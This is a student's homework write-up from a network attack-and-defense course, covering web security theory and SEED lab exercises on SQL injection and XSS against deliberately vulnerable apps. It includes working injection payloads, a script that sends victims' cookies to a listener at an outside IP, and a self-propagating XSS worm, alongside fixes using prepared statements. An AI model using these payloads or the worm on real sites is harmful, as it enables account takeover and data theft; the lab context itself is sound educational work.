20199304 2019-2020-2 《网络攻防实践》第十一周作业

20199304 2019-2020-2 《网络攻防实践》第11周作业

本次作业属于哪个课程 网络攻防实践
这个作业要求在哪里 Web应用程序安全攻防
我在这个课程的目标是 学习网络攻防相关技术和原理
这个作业在哪个具体方面帮助我实现目标 Web应用程序攻防知识,常用Web攻击方式

1.实践内容

1.1web应用程序的体结构与安全威胁

  • 1.1.1web应用体系

    • web应用程序是一种用浏览器支持的余元所编写或者能够在浏览器控制的环境中运行的软件形态

    • web应用的体系结构是由。浏览器来完成数据的显示,服务器负责计算处理,服务器由服务器软件、应用程序、数据库组成。然后两者通过网络与http/https协议进行通信。

    • 浏览器:web客户端就是浏览器,使用http/https协议、html语言和服务器通信。如熟知的IE、firefox等。

    • 服务器:简单来说,服务器的功能就是从浏览器接受请求,然后进行一些简单的分析之后,就将这个请求返回给web应用程序。当应用程序工作完之后会将结果返回服务器,然后服务器再将结果返回浏览器。

    • web应用程序:早期的web应用程序只有一层,随着发展出现了分层的概念,结构更加复杂,并与用户实时交互。最普遍的是三层结构:表示层、逻业务逻辑层、数据层。表示层用来接收客户端的输入结果,业务逻辑层从表示层接受输入并在其上完成工作,期间需要数据层写作,然后将结果返回便是曾。

    • 传输协议:在浏览器、服务器、应用程序、数据库之间的传输的协议是http/https。http默认使用tcp80端口,是一个无状态的协议。为了提升安全,为http加入了多项机制,包括使用ssl/tls隧道来进行加密的https协议;采用cookie机制进行会话管理,嵌入多种认证协议。

  • 1.1.2web应用安全威胁

    • 针对浏览器和终端用户的web安全威胁:这类威胁包括以浏览器渗透攻击为核心的网页木马、phishing网站钓鱼等。

    • 针对传输网络的网络协议安全威胁:如http明文传输的窃听,假冒身份攻击、拒绝服务攻击等。

    • 系统层安全威胁:宿主的操做系统有着远程渗透攻击和本地渗透攻击的威胁。

    • web服务器软件安全威胁:web服务器也存在着安全漏洞,攻击者可以利用这点对服务器进行攻击。

    • web应用程序安全威胁:程序员在实现web应用程序的时候,会因为各种原因导致出现安全漏洞,被攻击者利用,包括SQL注入攻击、XSS跨站脚本攻击。

    • web数据安全威胁:web应用程序储存的数据、浏览器输入的数据都存在着被窃取、篡改的威胁。

1.2.Web应用安全攻防技术概述

  • 1.2.1Web应用的信息收集
    • 手工审查Web应用程序结构与源代码
      静态和动态生成的页面:HTML源文件可能包含有价值的隐藏和注释信息,如表单中的隐藏字段可能存在会话处理、用户标识、口令等敏感信息。
      目录结构:Web服务器上的存储目录结构也是攻击者关注的信息,攻击者不会局限于利用浏览器及站点的导航链接来进行访问,他们会对Web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查,来查看这些目录是否存在,以及是否由于不安全的配置可以进行目录文件枚举,从而可以从中搜索包含关键信息或可被攻击的文件。
      辅助性文件:Web应用程序的一系列辅助性文件,如CSS级联样式表、XML样式表、JavaScript文件、include文件等,通常用于格式化HTML页面以适应流行浏览器的不同要求,或者执行客户端的输入验证。手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等重要信息。
      输入表单:表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置,并可以深入地了解页面表单的各方面信息,包括数据提交的方法(使用GET还是POST来提交数据)、表单处理行为(调用什么脚本?使用何种脚本语言?)、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等。
      查询参数字符串:从Web应用程序中很容易收集到一些动态页面文件的查询参数字符串,这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作。

    • 自动下载与镜像Web站点页面
      逐个手工地审查分析Web站点页面源码往往是很繁琐且低效的,一些自动下载与镜像Web站点页面的工具能够提升这一工作的自动化程度。在Linux系统上,可以使用lynx、Wget等工具,而在Windows上,可以使用迅雷、快车等工具。

    • Web应用程序安全评估与漏洞探测
      Web应用安全辅助分析工具包括如下三种重要类型:

浏览器插件:一些面向Web应用程序分析、调试和安全检查的浏览器插件能够支持你在浏览网站时,实时查看和修改传递给远端web服务器的数据。
免费工具集:安全社区也提供了一些开源或免费的Web应用安全评估工具集,它们较浏览器插件往往具有更强大的功能。
商业Web应用安全评估系统和漏洞扫描器

  • 1.2.2攻击Web服务器软件

    • 数据驱动的远程代码执行安全漏洞
      作为一种典型的网络服务守护进程,Web服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令。

    • 服务器功能拓展模块漏洞
      Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他功能,启动包括动态代码执行、站点检索、web分布式写作与版本管理协议WebDAV、SSL加密协议等。

    • 样本文件安全漏洞
      为了让更多人接受和依赖他们的技术,Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。由于这些文件只是用来作为演示,往往编写的很仓促,但在默认的Web服务器软件安装实例中却一直保留着;一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对Web服务器实施攻击。

    • 源代码泄露
      源代码泄露漏洞让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。

    • 资源解析攻击
      Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。

  • 1.2.3攻击Web应用程序
    2004年发布的《WASC Web安全威胁分类v1.0》将Web应用程序安全威胁从攻击技术角度分为如下6类:

    • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等。
    • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等。
    • 客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等。
    • 命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI注入等。
    • 信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等。
    • 逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
  • 1.2.4攻击Web数据内容

    • 安全敏感数据泄露
    • Web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露;
    • 利用Web服务器的Upload、incoming等上传目录临时中转文件时泄露;
    • 由于缺乏安全意识,在Web站点公开的文档资料中包含个人隐私、企业秘密,甚至国家秘密信息。
    • 网站篡改
    • 不良信息内容上传
  • 1.2.5Web应用安全防范措施

    • Web站点网络传输安全防护措施
      尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
      通过加密的连接通道来管理Web站点,避免使用未加密的telnet、FTP等
      对关键的Web服务器,设置静态绑定MAC—IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全监测,采用荣誉等机制来应对拒绝服务攻击。
    • Web站点操作系统及服务安全设防措施
      对Web站点的操作系统与服务器软件进行及时的补丁更新;
      对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞。
      采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置;部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。
    • Web应用程序安全设防措施
      采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险
      对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包。
      只在必要时候自主或外包开发Web应用程序,重视安全编程、持续性的安全测试和维护。
      使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。
    • Web站点数据安全设防措施
      提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点
      对维护网站的数据安全实施日常检测与防护,提升Web站点的安全性,避免网站被攻击以后的信息泄露、网站内容篡改与不良信息上传。

1.3.SQL注入

  • 1.3.1代码注入攻击定义:代码注入利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。包括恶意读取、修改与操纵数据库的SQL注入攻击;在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;在Web服务器端恶意执行操作系统命令的shell注入攻击还有其他攻击等。

  • 1.3.2SQL注入攻击原理
    SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术,这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(')、双引号(")、反引号(`)、分号(;)等,或者没有进行严格的类型判断,从而使得用户可以输入并执行一些非预期的SQL指令代码。

  • 1.3.3SQL注入攻击步骤和过程

    • 发现SQL注入点:发现SQL注入点是实施SQL注入攻击的第一步
    • 判断后台数据库类型
      • 利用数据库服务器的系统变量进行判断
      • 利用数据库服务器的系统表进行判断
    • 后台数据库管理员用户口令字猜解
      • 猜解表名
      • 猜解字段名
      • 用户名与口令猜解
    • 上传ASP后门,得到默认账户权限
    • 本地权限提升
    • 利用数据库扩展存储过程执行Shell命令
  • 1.3.4SQL注入工具

    • 国外:Wposion、wieliekoek.pl、SPIKE Proxy;
    • 国内:CSC、NBSI、HDSI、阿D注入工具、WED等
  • 1.3.5SQL注入攻击防范措施

    • 使用类型安全的参数编码机制
    • 凡是来自外部的用户输入,必须进行完备检查
    • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
    • 加强SQL数据库服务器的配置与连接

1.4 XSS跨站脚本攻击

  • 1.4.1XSS攻击技术原理
    • XSS 跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。
    • 在WEB2.0时代,强调的是互动,使得用户输入信息的机会大增,在这个情况下,我们作为开发者,在开发的时候,要提高警惕。
    • XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
  • 1.4.2XSS攻击类型
    • 持久型XSS攻击就是把攻击数据存进数据库,攻击行为就伴随着攻击数据一直存在,下面找来一个利用持久型攻击获取Session ID,同时向浏览器传送一个cookie,(这里科普一下,即使是使用了session验证的方法,还是需要客户端支持cookie), cookie会保存会话连接中的数据,Session ID作为会话标识,浏览器的后续请求就会基于后续请求,攻击者可以提供一个攻击链接,用户点击该链接时,向攻击者自己的服务器发送一条保存有session id 的信息,这样就可以窃取到用户的session id,得到用户的登录权限了。
    • XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
  • 1.4.3XSS攻击防范措施
    • 输入验证:主要是用来验证不能包含某些关键标签符号。
    • 对输出进行编码:在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。如果使用好的话,理论上是可以防御住所有的XSS攻击的。对所有要动态输出到页面的内容,通通进行相关的编码和转义。当然转义是按照其输出的上下文环境来决定如何转义的。
    • 清除危险的输入点
    • HttpOnly 与 XSS防御:一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响**,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

2.实践过程

课外实践作业一:SQL 注入实验

  • 我们已经创建了一个 Web 应用程序,并将其托管在 www.SEEDLabSQLInjection.com 。该 Web 应用程序是一个简单的员工管理应用程序。员工可以通过此 Web 应用程序查看和更新数据库中的个人信息。此 Web 应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

    • 熟悉 SQL 语句: 我们已经创建了一个名为 Users 的数据库,其中包含一个名为 creditential 的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn 等)。在此任务中,您需要使用数据库来熟悉 SQL 查询。
    • 对 SELECT 语句的 SQL 注入攻击:上述 Web 应用存在 SQL 输入漏洞,任务是在不知道密码的情况下登陆该 Web 应用程序。
    • 对 UPDATE 语句的 SQL 注入攻击:通过员工的更新个人界面实施 UPDATE 语句的 SQL 注入攻击。
    • SQL 对抗,修复上述 SQL 注入攻击漏洞。
  • 2.1.1 熟悉SQL语句
    使用指令mysql -u root -p seedubuntu登陆MySql数据库

    使用use Users;使用用户数据库show tables;打印所选数据库的所有表。

    下面我们使用WHERE 子句指令select * from credential where Name='Alice';

  • 2.1.2对SELECT语句的SQL注入攻击
    打开网站SEEDLabSQLInjection.com,其对应的文件地址在/var/www/SQLInjection。其中有一个存在sql注入攻击的主页unsafe_home.php,通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,可以发现,如果我们输入的username字段为Admin'#Password可以是任意值。因为#在sql语句中代表注释,代码中#之后的内容在实际执行sql语句的过程中是看不到的。

    去网站实验一下SEEDLabSQLInjection.com


    攻击成功,然后要利用命令行完成管理员的登录。这里我们需要用到一个Linux下的自带工具,curl。它可以用来请求页面,由于这个网页是使用GET的方式传递数据,我们也就可以使用将参数放置在请求的方式进行sql注入攻击。具体的命令如下:
    curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23&Password=9104'

    尝试修改数据,按照之前的方式构造数据Admin'; updata credential set salary='9104' where Name='Admin' #

    攻击失败,是因为MySql中的对策阻止了从php调用多个语句的执行。

  • 2.1.3对UPDATE语句的SQL注入攻击
    查看后台代码vim /var/www/SQLInjection/unsafe_edit_backend.php。

    首先利用前面的漏洞,用Alice' #登录,可以看到对应的信息:

    然后点击页面上方的Edit Profile进入更新信息页面,nickname字段输入', salary='9104' where EID='10000';#

    我们可以修改任意用户的Salary,如在Nickname输入', salary='9104' where name='Boby';#

    我们从代码可以看出password是使用了sha-1加密,我们可以将我们想要的密码进行sha-1之后,更改,然后登陆时即可.使用echo -n '9104'|sha1sum得到9104经过sha-1之后的值a80671a2f71df69ad1f96436e05773e0e0db3ebf.

    之后输入在Alice登陆,更改Boby的密码,还是在Nickname输入', Password='a80671a2f71df69ad1f96436e05773e0e0db3ebf' where Name='Boby';#回到登录页面,登录Boby我们可以看到成功登陆

  • 2.1.4SQL对抗,修复上述SQL注入攻击漏洞

SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪一部分是数据,哪一部分是数据是代码。不幸的是,当SQL语句被发送到数据库时,边界已经消失。要解决这个问题,重要的是要确保边界的视图是一致在服务器端代码和数据库中。最安全的方法是使用预处理语句。某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。预处理语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预处理语句能防止 SQL 注入。
可以使用预处理语句避免上述注入攻击的实现。

首先在unsafe_home.php页面中,对SELECT语句进行预处理。

原来的语句:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

修改为(使用了绑定参数的办法):

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

接着,在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。

原来的语句:

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";

修改为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2 SEED XSS 攻击实验

  • 为了演示攻击者如何利用XSS漏洞,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。Elgg是一个非常流行的面向社交网络的开源web应用程序,它已经实现了许多应对XSS威胁的措施。为了演示XSS攻击是如何工作的,我们在安装的Elgg中评论了这些对策,故意使Elgg易受XSS攻击。如果没有对策,用户可以向用户配置文件发布任意消息,包括JavaScript程序。在这个实验室里,学生们需要利用这个漏洞对修改后的Elgg发起XSS攻击,其方式类似于2005年Samy Kamkar通过臭名昭著的Samy蠕虫对MySpace的攻击。此攻击的最终目标是在用户中传播XSS蠕虫,这样,查看受感染用户配置文件的人将受到感染,而受感染的人将把您(即攻击者)添加到他/她的朋友列表中。任务如下

    • 准备:熟悉“HTTP Header Live”工具
    • 任务1:发布恶意消息以显示警报窗口
    • 任务2:发布恶意消息以显示Cookies
    • 任务3:从受害者的机器上偷Cookies
    • 任务4:成为受害者的朋友
    • 任务5:修改受害者的个人资料
    • 任务6:编写自传播XSS蠕虫
    • 任务7:对策
  • 用户部分信息

用户名 密码
admin seedelgg
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy
  • 1、发布恶意消息,显示警报窗口
    首先用Alice账户密码登陆,打开并编辑个人页面。在Brief description中插入我们的XSS攻击代码<script> alert('xss');</script>

    点击Save后就能看到弹窗
  • 2、弹窗显示cookie信息
    在Alice的个人页面的Brief description中插入我们的XSS攻击代码<script> alert(document.cookie);</script>

    点击下方的Save就能看到xss攻击的结果
  • 3、窃取受害者的cookies
    上面的获取cookie只是弹到了窗口里,这次要发送给自己。使用命令<script>document.write('<img src=http://192.168.200.4:6650?c='+escape(document.cookie) + ' >');</script>其中192.168.200.4是本机IP,6650是我挑的任意端口,使用nc -l 6650 -v监听端口,之后使用boby的账户登录,并且查看Alice的账户profile,就能够得到boby的cookie信息。

  • 4、成为受害者的朋友
    在XSS攻击之前,我们首先要知道:在正常的情况下,添加好友应该发送什么样的指令。为此我们点击Add Friend,并同时使用HTTP Header Live查看发送的数据。我们得到如下图的信息。

    可以看到,请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=
    也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证。
    可以编写出如下的代码,用于xss攻击自动添加好友。
<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

将上述代码放到Alice的About me中,然后用boby的账号访问Alice的个人主页。之后返回boby主页,可以看到boby自动加了Alice的好友

  • 5、修改受害者的信息
    同样,在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是&__elgg_token=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。
<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

同样将代码放到alice的about me中。登陆boby账号访问Alice的个人主页,

返回主页时

  • 6、编写XSS蠕虫。
    构建蠕虫攻击代码
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

将代码放入Alice的about me处,切换账户让boby去访问Alice主页,可以截获如下信息。同时,蠕虫病毒已经侵染了Boby的主页。

让admin访问boby的主页,

admin就成为了二级感染者,admin主页显示

  • 7、对抗XSS攻击
    Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed,并使其Deactivate。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

    回到Alice的profile,就可以看到这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示

3.学习中遇到的问题及解决

  • 问题1:第一个实验找Edit Profile 按键时发现界面滑不上去了,Edit Profile被挡住了!!!!

  • 问题1解决方案:找了半天,调了浏览器界面格式,可以显示了

  • 问题2:浏览器木有“HTTP Header Live”工具···

  • 问题2解决方案:网上搜半天,怀疑浏览器更新后不支持此工具了。准备直接再下载一次

    额···提示不能下载,为啥?再搜半天,怀疑还是浏览器太新了(60.0版本),还能咋办,删了下个老版本呗,这里准备下个45.0版本。


    然后找到解压好的文件,打开浏览器,再下载“HTTP Header Live”插件。

4.实践总结

哎,请叫我问题boy,咋总感觉自己做实验会出一堆bug······想参考别人的解决方法,结果别人的问题还都和我不一样···

参考资料

posted on 2020-05-13 20:55  刘北圣  阅读(306)  评论(0编辑  收藏  举报